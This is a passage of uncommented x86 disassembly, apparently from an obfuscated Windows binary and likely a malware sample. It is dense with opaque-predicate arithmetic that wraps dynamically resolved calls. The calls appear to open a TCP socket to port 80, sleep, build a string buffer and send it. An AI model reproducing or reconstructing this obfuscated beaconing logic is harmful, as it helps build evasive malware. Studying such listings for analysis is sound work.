call dword [eax]
mov ecx, dword [esi + 0xd4]
mov eax, dword [esi + 0xdc]
mov dword [ecx], 1
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.100e6cf0
mov eax, dword [esi + 0xdc]
add esp, 0xc
mov dword [eax + 4], 2
mov dword [eax + 8], 1
mov eax, dword [0x10143b14]
sub eax, dword [0x10143b18]
mov ecx, 0x6ca35014
xor edx, edx
div ecx
sub eax, 0x5b26e557
add eax, 0xdcf74467
imul eax, eax, 0x4bf16d51
or eax, 0x4598c29
imul eax, eax, 0x3206a954
imul eax, eax, 0xd59aa331
sub eax, 0x6683a898
or eax, 0xc662694c
sub eax, 0x17f410f2
add eax, 0xe0b34467
add eax, 0xd32af32e
add eax, 0x6593f9d8
and eax, 0xda7b3163
and eax, 0x990599a0
or eax, 0xb77a15fa
imul eax, eax, 0x70016f61
mov ecx, 0x359b7c0b
xor edx, edx
div ecx
imul eax, eax, 0xd88d1b44
xor eax, 0xe1dfe55f
cmp eax, 0x26373319
jbe 0x100b987b
mov ecx, dword [esi + 0xd4]
mov eax, dword [0x10143b1c]
xor edx, edx
div dword [0x10143b20]
xor eax, 0x41416008
or eax, 0xe64401e2
or eax, 0x90118963
or eax, 0xf9e584f9
xor eax, 0x2e5c4214
and eax, 0x4b66b08d
and eax, 0x3b83f823
mov edi, 0x761dad60
xor edx, edx
div edi
imul eax, eax, 0xc9455d08
imul eax, eax, 0xd590b67a
and eax, 0xd46ed578
and eax, 0xcabc2849
add eax, 0x7c46540e
mov edi, 0x24b97241
xor edx, edx
div edi
and eax, 0xb4edeb86
sub eax, 0xcbc69dfe
add eax, 0xa206568c
mov edi, 0x86bcc9d
xor edx, edx
div edi
and eax, 0x227cf8a4
mov edi, 0x2c4cbcd
xor edx, edx
div edi
cmp dword [ecx], 0
setne cl
mov byte [esi + 0x7f], cl
cmp eax, 0x791570c4
ja 0x100b987b
mov al, byte [esi + 0x7f]
test al, 1
jne 0x100b3e5c
jmp 0x100b41e5
mov eax, dword [0x10143b24]
add eax, dword [0x10143b28]
imul eax, eax, 0xb511d3f6
or eax, 0x692e345e
imul eax, eax, 0xa3083d92
imul eax, eax, 0xbe972576
imul eax, eax, 0x7caa76df
add eax, 0x4a58e9f9
mov ecx, 0xd807f020
xor edx, edx
div ecx
xor eax, 0x1a37f9eb
add eax, 0xeea409b8
add eax, 0x239a2ac5
sub eax, 0xbe0ba465
add eax, 0xf65ba2b
or eax, 0x3addfeee
or eax, 0x99359d6
mov ecx, 0x3ed7235c
xor edx, edx
div ecx
mov ecx, 0x27f21d3a
xor edx, edx
div ecx
add eax, 0x91f16b88
sub eax, 0xa8a8874c
sub eax, 0x6eeeaa2
or eax, 0x64e3e74d
cmp eax, 0xc299d2fc
jbe 0x100b9880
mov eax, dword [0x10143b2c]
sub eax, dword [0x10143b30]
and eax, 0x307c7817
mov ecx, 0x5d88846c
xor edx, edx
div ecx
xor eax, 0x94eb3ebd
sub eax, 0x154cb1d9
sub eax, 0x231dfb65
and eax, 0x3799b9d4
sub eax, 0xfc5a8b59
add eax, 0xf842fe18
sub eax, 0x57abf87b
sub eax, 0x943602d3
mov ecx, 0x1c0c5523
xor edx, edx
div ecx
sub eax, 0xf29b2a79
add eax, 0x9f82c683
sub eax, 0x80995cf1
sub eax, 0x3e8e3749
and eax, 0x86feae59
sub eax, 0xabf29dc7
sub eax, 0x683a0a71
sub eax, 0x2931a1e5
imul eax, eax, 0x85d877fb
cmp eax, 0x24bf99ab
jbe 0x100b9880
mov eax, dword [0x10143b34]
imul eax, dword [0x10143b38]
add eax, 0xf6f0f284
and eax, 0xa009c128
xor eax, 0xa3e8b0b9
add eax, 0x306487bf
add eax, 0x4893c338
add eax, 0xe829c314
sub eax, 0x6faf23e1
imul eax, eax, 0x67139355
imul eax, eax, 0xd3e451ce
add eax, 0x951b61d5
mov ecx, 0xcb53ee1
xor edx, edx
div ecx
and eax, 0x57c0a821
sub eax, 0x4ac2603b
mov ecx, 0x956d6820
xor edx, edx
div ecx
sub eax, 0xa0db9be5
mov ecx, 0x565067b
xor edx, edx
div ecx
or eax, 0xdd5b15df
sub eax, 0xf5b188e7
or eax, 0x5f198770
and eax, 0x93fe6cf9
cmp eax, 0x9fc6310e
je 0x100b7cc5
mov ecx, dword [esi + 0xe0]
mov edi, dword [esi + 0x9c]
mov eax, dword [0x10143b3c]
add eax, dword [0x10143b40]
and eax, 0x454fcdf6
or eax, 0xc4afba32
imul eax, eax, 0xb67cee37
and eax, 0xbebc5c69
mov ebx, 0xff148f
xor edx, edx
div ebx
mov ebx, 0x16c90266
xor edx, edx
div ebx
mov ebx, 0xb3e8e206
xor edx, edx
div ebx
add eax, 0x75132cd5
mov ebx, 0xa99bdd9d
xor edx, edx
div ebx
sub eax, 0x39bf69bf
and eax, 0xb873125d
mov ebx, 0x9f652ce0
xor edx, edx
div ebx
mov ebx, 0xc79b4b2
xor edx, edx
div ebx
mov edx, dword [esi + 0xdc]
mov ebx, eax
mov eax, dword [esi + 0xb8]
add ebx, 0x2aaf0f8b
sub ebx, 0x869de9a0
add ebx, 0x62502570
xor ebx, 0x947b02f3
add ebx, 0x45fe9dc3
sub ebx, 0x934be4ad
and ebx, 0xf2c699af
mov dword [esi + 0x78], ebx
mov eax, dword [eax]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
mov ecx, dword [esi + 0xd4]
mov edx, eax
mov eax, dword [esi + 0x78]
mov dword [ecx], edx
cmp eax, 0x956fc45e
ja 0x100b3ff2
mov eax, dword [0x10143b44]
imul eax, dword [0x10143b48]
add eax, 0x291770b9
and eax, 0x2ed0bb5
and eax, 0xb37dbf18
or eax, 0x8da34ec
xor eax, 0x8f7f321a
xor eax, 0x50b255bd
and eax, 0xf83a8d4f
and eax, 0xcb53e7d9
imul eax, eax, 0x8478e227
xor eax, 0x2f5f0b31
xor eax, 0xfc01b213
mov ecx, 0xd1f2c6a2
xor edx, edx
div ecx
add eax, 0x5a7bcf63
add eax, 0xa7e5e363
imul eax, eax, 0x9751c3e5
or eax, 0x9c1ef1a1
xor eax, 0x7e81c7d2
or eax, 0x11bc21c5
imul eax, eax, 0x533f3898
imul eax, eax, 0xc4107069
cmp eax, 0xbc327c79
jb 0x100b9885
mov eax, dword [0x10143b4c]
xor edx, edx
div dword [0x10143b50]
add eax, 0xc84e6079
sub eax, 0xb73c66a
xor eax, 0x80b60416
imul eax, eax, 0xd0587ae1
sub eax, 0x36fc0042
and eax, 0xf13f894f
add eax, 0xe8387064
imul eax, eax, 0x79891e67
sub eax, 0xd4bdbddc
xor eax, 0xd4e1d0c8
imul eax, eax, 0xfc4f099d
xor eax, 0xdfafc55b
xor eax, 0x77a49e69
xor eax, 0xbf6a74de
mov ecx, 0x86c2e5a7
xor edx, edx
div ecx
mov ecx, 0x2952867c
xor edx, edx
div ecx
xor eax, 0x65d227c9
xor eax, 0x7f0d7d65
add eax, 0xff474907
mov ecx, 0xb0f3665b
xor edx, edx
div ecx
cmp eax, 0x8ed58b3c
jae 0x100b4155
jmp 0x100b3d28
mov eax, dword [0x10143b54]
imul eax, dword [str._b_]
and eax, 0x82045c5e
mov ecx, 0xb7927990
xor edx, edx
div ecx
or eax, 0xd43df533
xor eax, 0xb60f5e82
or eax, 0x2115e67b
or eax, 0x65b026a2
and eax, 0x75e8e5a7
and eax, 0x54119111
sub eax, 0x3aeac6b5
sub eax, 0x635755e1
or eax, 0xd6d4a381
add eax, 0x2f2d2038
imul eax, eax, 0xcc05a14f
xor eax, 0x1ec74b3a
or eax, 0x24524100
sub eax, 0x17d0fa2c
mov ecx, 0x4429f87b
xor edx, edx
div ecx
sub eax, 0x3f6d79fc
imul eax, eax, 0x51451da0
add eax, 0x7a6ccff1
cmp eax, 0xe67372df
jae 0x100b988a
mov eax, dword [0x10143b5c]
xor eax, dword [0x10143b60]
and eax, 0xe5b30cbd
imul eax, eax, 0x73b888bc
imul eax, eax, 0xae0dfafa
mov ecx, 0x3eb99cf3
xor edx, edx
div ecx
imul eax, eax, 0x745de063
xor eax, 0xca4e502f
imul eax, eax, 0x8f05d03
add eax, 0x6fc7b7e9
or eax, 0xed216e67
mov ecx, 0x2f623df9
xor edx, edx
div ecx
sub eax, 0x784a910a
imul eax, eax, 0x62b01afc
add eax, 0x14d7766e
xor eax, 0x96bcf476
xor eax, 0x4cd6127e
mov ecx, 0xb9bb1bb0
xor edx, edx
div ecx
or eax, 0x72472d68
add eax, 0x965095db
sub eax, 0x1de42399
add eax, 0x5ee77201
cmp eax, 0x2ae49e52
jb 0x100b988a
mov eax, dword [0x10143b64]
xor eax, dword [0x10143b68]
mov ecx, 0x3bf5dbd4
xor edx, edx
div ecx
add eax, 0x214619
or eax, 0xbf8ef20
mov ecx, 0x5c4a20a3
xor edx, edx
div ecx
or eax, 0xb1d23970
xor eax, 0x4e045598
xor eax, 0x3a698d11
xor eax, 0x8d7d8c58
mov ecx, 0x7ff8a68d
xor edx, edx
div ecx
and eax, 0x95f41f32
sub eax, 0xa9d91ded
or eax, 0x409e9d90
mov ecx, 0x3f7ad383
xor edx, edx
div ecx
xor eax, 0x530f3fa1
xor eax, 0x102bb7c8
imul eax, eax, 0xc61bd090
imul eax, eax, 0x1ae70069
add eax, 0x9d92fd44
sub eax, 0xfeb00605
add eax, 0xe4cffbf2
cmp eax, 0x7d772807
jae 0x100b7e20
mov eax, dword [0x10143b6c]
and eax, dword [0x10143b70]
mov ecx, 0x1be8f062
xor edx, edx
div ecx
or eax, 0xd977c95d
imul eax, eax, 0xe04e9ab9
add eax, 0x4919e570
xor eax, 0xd1d95b65
mov ecx, 0xa6e5f958
xor edx, edx
div ecx
mov ecx, 0xcd2f1990
xor edx, edx
div ecx
sub eax, 0x304f982e
xor eax, 0x6796975d
add eax, 0x364585f
add eax, 0xf655799f
sub eax, 0x11ec0cd3
imul eax, eax, 0xfa2584d7
and eax, 0xbb5f9f5f
add eax, 0xfce391c0
and eax, 0xf43283f3
imul eax, eax, 0xfa455584
and eax, 0xa2ce185d
or eax, 0x417026e
xor eax, 0xcd597780
cmp eax, 0x8c285611
ja 0x100b988f
mov ecx, dword [esi + 0xd8]
mov edi, dword [esi + 0xe0]
mov eax, dword [0x10143b74]
xor edx, edx
div dword [0x10143b78]
xor eax, 0x329e4405
sub eax, 0x4c7e9699
add eax, 0xbcc3d2d1
add eax, 0xba9292c5
imul eax, eax, 0xbef46994
xor eax, 0xac4a6020
imul eax, eax, 0x8938790c
imul eax, eax, 0xd613c7c5
xor eax, 0xeff1b97
imul eax, eax, 0xb8cdf277
sub eax, 0x7d99be5b
sub eax, 0xf4561a6d
imul eax, eax, 0xfdda08ff
sub eax, 0x918db8a3
mov ebx, 0x12b5f8f6
xor edx, edx
div ebx
and eax, 0x4085d720
xor eax, 0xfc839a76
mov ebx, 0xc6df4828
xor edx, edx
div ebx
mov edx, dword [esi + 0xe4]
mov ebx, eax
mov eax, dword [esi + 0xbc]
imul ebx, ebx, 0x126cf98c
or ebx, 0x41660a73
mov dword [esi + 0x74], ebx
mov edi, dword [edi]
mov edi, dword [edi + 0x18]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
add edx, 4
sub esp, 0x10
mov dword [esp], 2
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x16
call eax
mov ecx, dword [esi + 0xd8]
mov eax, dword [esi + 0xc0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov edx, dword [esi + 0xe8]
mov ecx, dword [esi + 0x184]
mov edi, eax
mov eax, dword [esi + 0x74]
mov dword [edx], edi
mov edx, dword [edx]
mov ecx, dword [ecx]
mov dword [ecx], edx
cmp eax, 0x49962139
je 0x100b440a
mov eax, dword [0x10143b7c]
imul eax, dword [0x10143b80]
or eax, 0x7c7460f
add eax, 0x6e446a0f
add eax, 0xfc1c0151
or eax, 0x3859f6f6
mov ecx, 0x144b51b8
xor edx, edx
div ecx
xor eax, 0xcd556e20
and eax, 0x894d2672
add eax, 0x36bf9192
add eax, 0x14ca2c7f
and eax, 0x89880458
mov ecx, 0xb95f89a9
xor edx, edx
div ecx
mov ecx, 0x7afda2f5
xor edx, edx
div ecx
xor eax, 0xb9337552
or eax, 0x3b0592e6
sub eax, 0x5fef8a84
imul eax, eax, 0x2e48571d
or eax, 0x23b871da
or eax, 0x1f1eb325
or eax, 0x86c80dde
sub eax, 0x9672c291
cmp eax, 0x7157332e
ja 0x100b4381
jmp 0x100b4598
mov eax, dword [0x10143b84]
add eax, dword [0x10143b88]
and eax, 0x762fd07d
imul eax, eax, 0x12179ab0
and eax, 0x1bf849b6
sub eax, 0x39c0762
imul eax, eax, 0x99f24ea7
or eax, 0x398bab25
xor eax, 0x33503f9
add eax, 0xea2edcff
xor eax, 0x741641e8
add eax, 0x170b042b
add eax, 0x91994930
and eax, 0x78819c8d
sub eax, 0x397c162c
add eax, 0xacb65ad7
add eax, 0x3eab5970
and eax, 0x703fa426
sub eax, 0x7268dc4e
and eax, 0x98cdc5d6
sub eax, 0x8f1629a6
imul eax, eax, 0x63c4b3e5
cmp eax, 0x4588c21d
ja 0x100b9902
mov edi, dword [esi + 0x120]
mov ebx, dword [esi + 0x11c]
mov edx, dword [esi + 0x100]
mov eax, dword [esi + 0xec]
mov ecx, 0x2380ce44
mov dword [esi + 0x70], ecx
mov ecx, dword [0x1013a1ba]
mov dword [eax + 3], ecx
mov ecx, dword [0x1013a1b7]
mov dword [eax], ecx
mov ecx, dword [esi + 0xf0]
mov eax, dword [esi + 0xf4]
movsd xmm0, qword [0x1013a1dd]
movsd qword [ecx], xmm0
mov cl, byte [0x1013a1ee]
mov byte [eax + 4], cl
mov ecx, dword [0x1013a1ea]
mov dword [eax], ecx
mov ecx, dword [esi + 0xf8]
mov al, byte [0x1013a214]
mov byte [ecx + 4], al
mov eax, dword [0x1013a210]
mov dword [ecx], eax
mov eax, dword [esi + 0xfc]
mov ecx, dword [0x1013a1d1]
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0xec]
movsd xmm0, qword [0x1013a1c9]
movsd qword [eax], xmm0
mov ax, word [0x1013a209]
mov word [edx + 4], ax
mov eax, dword [0x1013a205]
mov dword [edx], eax
mov eax, dword [esi + 0x17c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov ecx, dword [esi + 0xf0]
mov edx, dword [esi + 0x104]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x17c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov ecx, dword [esi + 0xf4]
mov edx, dword [esi + 0x108]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x17c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov edx, dword [esi + 0x10c]
mov ecx, dword [esi + 0xf8]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x17c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov edx, dword [esi + 0x110]
mov ecx, dword [esi + 0xfc]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x17c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov ecx, dword [esi + 0x114]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x17c]
mov dword [ecx], edx
mov edx, dword [eax]
xor ecx, ecx
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0x100]
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.100909a0
mov edx, dword [esi + 0x184]
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0x118]
mov dword [eax], ecx
mov ecx, dword [esi + 0x124]
mov dword [ebx], 0x1000
mov dword [edi], 0
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [ecx + 4], edx
mov word [ecx], 2
sub esp, 4
mov dword [esp], 0x50
call dword [eax]
mov ecx, dword [esi + 0x124]
mov edx, eax
mov eax, dword [esi + 0x104]
mov word [ecx + 2], dx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 1
mov dword [esp + 8], 0
call dword [eax]
mov edx, dword [esi + 0x128]
mov ecx, dword [esi + 0x124]
mov edi, eax
mov eax, dword [esi + 0x108]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, dword [esi + 0x120]
mov edx, eax
mov eax, dword [esi + 0x70]
mov dword [ecx], edx
cmp eax, 0x682e9a12
je 0x100b4615
jmp 0x100b4877
mov eax, dword [0x10143b94]
imul eax, dword [0x10143b98]
sub eax, 0x8682a62d
xor eax, 0x1228bd8f
xor eax, 0xe8f8997d
add eax, 0x84a25dba
xor eax, 0xd9874815
and eax, 0x92b697b0
sub eax, 0xb6ea61bb
or eax, 0x684366ed
mov ecx, 0xd3bcc062
xor edx, edx
div ecx
mov ecx, 0x11182572
xor edx, edx
div ecx
mov ecx, 0xdd4100fc
xor edx, edx
div ecx
sub eax, 0xbe3b41a4
sub eax, 0x2507b19a
mov ecx, 0xbc3c5182
xor edx, edx
div ecx
add eax, 0x836be255
or eax, 0x35d0f3cc
and eax, 0x6b92de2f
add eax, 0x81662f75
imul eax, eax, 0x95738309
sub eax, 0x6fa6150e
cmp eax, 0x34147789
ja 0x100b7fb4
mov eax, dword [0x10143b9c]
sub eax, dword [0x10143ba0]
mov ecx, 0x67e0d757
xor edx, edx
div ecx
sub eax, 0x247edc27
add eax, 0x40517b3b
xor eax, 0xbf60c26f
mov ecx, 0x89e54ad
xor edx, edx
div ecx
mov ecx, 0x7f5035f3
xor edx, edx
div ecx
sub eax, 0x4f20400f
mov ecx, 0x1ac27f4d
xor edx, edx
div ecx
xor eax, 0xab1711d
xor eax, 0xcb79d3df
and eax, 0xff186665
imul eax, eax, 0xe3fcd3b7
sub eax, 0xb2391c00
and eax, 0x920fd102
or eax, 0xcbde5757
add eax, 0xafcac54
and eax, 0x9fe81a5a
xor eax, 0x5a63dc7a
sub eax, 0x32ba7c06
xor eax, 0x782be52c
cmp eax, 0x3d4cbd25
je 0x100b9b4e
mov ecx, dword [esi + 0x120]
mov eax, dword [0x10143ba4]
add eax, dword [0x10143ba8]
xor eax, 0x915fbcdf
add eax, 0x2bd0f170
imul eax, eax, 0xc6f9b41
or eax, 0x3849072b
mov edi, 0x93dd810e
xor edx, edx
div edi
xor eax, 0xb06eafb0
xor eax, 0x7c2a3a78
sub eax, 0x7d59d92f
or eax, 0xc5625678
sub eax, 0x7352cca6
imul eax, eax, 0x9fdf0db9
or eax, 0x3e5fdd1a
sub eax, 0xbdf9e84b
add eax, 0x9c40b397
xor eax, 0xc2d4d14c
and eax, 0xce4f7c27
or eax, 0xa590393b
xor eax, 0xe19e55d2
sub eax, 0xcbe1808b
imul eax, eax, 0x1ef7dcfe
cmp dword [ecx], 0xffffffff
sete cl
mov byte [esi + 0x6f], cl
cmp eax, 0x842cffd1
je 0x100b498e
mov eax, dword [0x10143bac]
or eax, dword [0x10143bb0]
imul eax, eax, 0x8abe6eed
and eax, 0x7766c48c
and eax, 0xbff62fe9
mov ecx, 0x86760655
xor edx, edx
div ecx
mov ecx, 0x51af2f51
xor edx, edx
div ecx
mov ecx, 0xf406121
xor edx, edx
div ecx
or eax, 0xbee5e67a
imul eax, eax, 0xe328a01b
mov ecx, 0xf86967ff
xor edx, edx
div ecx
or eax, 0x7c10d34a
and eax, 0x42ba930b
and eax, 0x93dc4cb4
sub eax, 0x22a9612e
imul eax, eax, 0x87720bb
imul eax, eax, 0xb39f5db2
imul eax, eax, 0xa7a50060
sub eax, 0x4aecc5ed
xor eax, 0xe855629
and eax, 0x851a1293
and eax, 0xf6fdb341
cmp eax, 0x7e3ba256
je 0x100b7fb4
mov al, byte [esi + 0x6f]
test al, 1
jne 0x100b4abd
jmp 0x100b4d3b
mov eax, dword [0x10143bb4]
or eax, dword [0x10143bb8]
add eax, 0x7114e378
imul eax, eax, 0x939168f0
mov ecx, 0x904fb189
xor edx, edx
div ecx
add eax, 0x196405c0
and eax, 0xc2f9c0bc
xor eax, 0x15186fdf
imul eax, eax, 0xc899fc0e
and eax, 0xe9322fb5
add eax, 0x4b7ed7f8
add eax, 0x40f98710
and eax, 0x2ef0e103
add eax, 0x499ef3bf
xor eax, 0xe4217615
sub eax, 0x8e84078e
xor eax, 0xb580dbf
and eax, 0xe1eb82ea
add eax, 0xf55a962a
and eax, 0xf35489d6
mov ecx, 0xed3853c4
xor edx, edx
div ecx
sub eax, 0x296d36e7
cmp eax, 0x682e9075
jbe 0x100b80e1
mov ecx, dword [esi + 0x124]
mov eax, dword [0x10143bbc]
xor eax, dword [0x10143bc0]
imul eax, eax, 0x6aad8cd2
and eax, 0xfba3bc1e
mov edi, 0x9f8f93e5
xor edx, edx
div edi
sub eax, 0xa8b6da82
mov edi, 0x87c6dbc5
xor edx, edx
div edi
mov edi, 0x2eb41fca
xor edx, edx
div edi
imul eax, eax, 0x1c9d05ae
or eax, 0x536e5024
xor eax, 0x73430633
imul eax, eax, 0x98356686
and eax, 0x48449d69
sub eax, 0x689c264d
imul eax, eax, 0xaba47f94
sub eax, 0xa9bb3c48
or eax, 0x33b2c064
or eax, 0x635779c
mov edi, 0x15b19031
xor edx, edx
div edi
mov edx, dword [esi + 0x128]
mov edi, eax
mov eax, dword [esi + 0x108]
add edi, 0xbfc32d2e
xor edi, 0x22566869
sub edi, 0xb340ea64
mov dword [esi + 0x68], edi
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0x120]
mov dword [eax], ecx
sub esp, 4
mov dword [esp], 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x68]
cmp eax, 0x1408a227
jbe 0x100b4b41
mov eax, dword [0x10143bc4]
sub eax, dword [0x10143bc8]
sub eax, 0xcf526287
mov ecx, 0x753b1ab6
xor edx, edx
div ecx
sub eax, 0xe308e29b
add eax, 0x5f4d80d5
imul eax, eax, 0xe6df04e4
imul eax, eax, 0x6c6ed3cd
add eax, 0xa107da32
imul eax, eax, 0x1bee44b6
xor eax, 0xe46a0691
mov ecx, 0xce92c069
xor edx, edx
div ecx
add eax, 0x4235d50c
sub eax, 0xcb05be1
mov ecx, 0x47030a93
xor edx, edx
div ecx
xor eax, 0xca80dc89
or eax, 0xd9c4305d
xor eax, 0xda1ec161
and eax, 0xab06e1c9
xor eax, 0xe2bb7fa
mov ecx, 0x5327868f
xor edx, edx
div ecx
add eax, 0x253299a4
cmp eax, 0xc6cb048f
ja 0x100b9b53
mov eax, dword [0x10143bcc]
sub eax, dword [0x10143bd0]
mov ecx, 0xe3b873a8
xor edx, edx
div ecx
sub eax, 0x8c985cd0
imul eax, eax, 0x6dd71600
or eax, 0x517766a5
imul eax, eax, 0x5e3fa42f
mov ecx, 0x4379acec
xor edx, edx
div ecx
imul eax, eax, 0x53d4b4e0
and eax, 0x1f453bbf
xor eax, 0xb57453a8
xor eax, 0x63e50d12
xor eax, 0xe820532e
xor eax, 0x186aa329
imul eax, eax, 0xe4e2ff00
imul eax, eax, 0xe4419978
sub eax, 0x95036b9f
xor eax, 0xc7eacf44
mov ecx, 0x3b0b3f04
xor edx, edx
div ecx
add eax, 0x72f383b8
sub eax, 0xbf870e96
add eax, 0x1bf915a1
cmp eax, 0xc8600794
jbe 0x100b4cab
jmp 0x100b4877
mov eax, dword [0x10143bd4]
add eax, dword [0x10143bd8]
imul eax, eax, 0x2d6883bb
mov ecx, 0xb909ef73
xor edx, edx
div ecx
and eax, 0xe273a14
or eax, 0xae79f273
add eax, 0xc32f6ee1
imul eax, eax, 0xc96cceea
and eax, 0xe5ce1d38
imul eax, eax, 0x2aa272ed
imul eax, eax, 0x5bc80456
or eax, 0xd3145286
mov ecx, 0x87ecdc23
xor edx, edx
div ecx
and eax, 0x63d360dd
imul eax, eax, 0xdb7cbb5f
add eax, 0x6334b449
add eax, 0xfa669254
and eax, 0x323acc76
imul eax, eax, 0x8311bdba
and eax, 0x5fd20c1
add eax, 0x97d54bf
or eax, 0xe8cc496e
cmp eax, 0xcaf11599
je 0x100b8250
mov eax, dword [0x10143bdc]
sub eax, dword [0x10143be0]
and eax, 0x772febf6
xor eax, 0x2a40ddcc
and eax, 0xcc0f9225
imul eax, eax, 0xe2ef3167
imul eax, eax, 0x318d9f30
imul eax, eax, 0xd6f39e14
sub eax, 0xde719e11
imul eax, eax, 0x47cd306a
xor eax, 0x4aa0ded2
and eax, 0xe3ccd331
mov ecx, 0x4e7790f2
xor edx, edx
div ecx
add eax, 0x4df43ea5
imul eax, eax, 0x10a18ba5
imul eax, eax, 0x5375ec21
or eax, 0x229a403
xor eax, 0x836ac510
and eax, 0x6713c71c
xor eax, 0xa3a03dd8
and eax, 0xf30da2ef
sub eax, 0xff7378
cmp eax, 0x1e54456
je 0x100b9b58
mov edi, dword [esi + 0x128]
mov eax, dword [0x10143be4]
or eax, dword [0x10143be8]
sub eax, 0xb8a24d7d
add eax, 0x9bcbeae
xor eax, 0x19e6150f
imul eax, eax, 0x52a65afc
add eax, 0xf7b0ae03
sub eax, 0xcec13a76
xor eax, 0x325246
and eax, 0xbbd7f455
xor eax, 0x9a14a517
sub eax, 0x59709c84
add eax, 0x658a1e68
mov ecx, 0xd5703c76
xor edx, edx
div ecx
sub eax, 0x1ec6fa41
imul eax, eax, 0x71f48192
or eax, 0x1d1a7e6
xor eax, 0x7f032aca
or eax, 0x3ea1b339
mov ecx, 0x3a609a1b
xor edx, edx
div ecx
mov ecx, 0xc22f5509
xor edx, edx
div ecx
and eax, 0xf7efb345
mov dword [esi + 0x60], eax
sub esp, 4
mov dword [esp], 0x104
call fcn.100e3321
mov edx, dword [esi + 0x130]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x12c]
mov dword [eax], ecx
mov ecx, dword [0x1013a21f]
mov dword [edx], ecx
mov ecx, dword [0x1013a223]
mov dword [edx + 4], ecx
mov ecx, dword [0x1013a227]
mov dword [edx + 8], ecx
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10104030
mov ecx, dword [esi + 0x12c]
add esp, 8
mov eax, dword [esi + 0x9c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
mov ecx, dword [esi + 0x12c]
add esp, 8
mov eax, dword [esi + 0xa0]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
mov ecx, dword [esi + 0x12c]
add esp, 8
mov eax, dword [esi + 0x98]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
add esp, 8
mov eax, dword [esi + 0x12c]
mov ecx, dword [eax]
lea eax, [0x1012f496]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
mov edx, dword [esi + 0x12c]
mov ecx, dword [esi + 0x10c]
add esp, 8
mov eax, dword [esi + 0x134]
mov edx, dword [edx]
mov dword [eax], edx
mov ecx, dword [ecx]
mov dword [esi + 0x5c], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101041c0
mov edx, dword [esi + 0x134]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x5c]
mov edx, dword [edx]
mov edi, dword [edi]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, dword [esi + 0x120]
mov edx, eax
mov eax, dword [esi + 0x60]
mov dword [ecx], edx
cmp dword [ecx], 0xffffffff
sete cl
mov byte [esi + 0x67], cl
cmp eax, 0xa305d63b
ja 0x100b4e47
mov eax, dword [0x10143bec]
or eax, dword [0x10143bf0]
mov ecx, 0x4c07ac14
xor edx, edx
div ecx
sub eax, 0x3c986021
imul eax, eax, 0x4169f0bb
xor eax, 0x93e93973
and eax, 0xe8ddc29
imul eax, eax, 0xb01ec6a0
or eax, 0xa8baed20
and eax, 0xf3cad42b
or eax, 0xbde9da10
mov ecx, 0xc58d5849
xor edx, edx
div ecx
and eax, 0x30efd404
xor eax, 0x936a3673
xor eax, 0xdb37c321
xor eax, 0xd5719050
xor eax, 0x7ff3c300
add eax, 0xb45a49f6
imul eax, eax, 0xd12fd5b4
and eax, 0x6e337686
sub eax, 0x511bf60c
and eax, 0x7f14faf0
cmp eax, 0xf50044a1
ja 0x100b8250
mov eax, dword [0x10143bf4]
add eax, dword [0x10143bf8]
add eax, 0x27837ed7
and eax, 0x33b2bb4e
add eax, 0x9b7dc0b
add eax, 0x9fd61ef8
add eax, 0x8b79c6a9
xor eax, 0x9afcdaa0
imul eax, eax, 0x803cfec4
and eax, 0xdd28856b
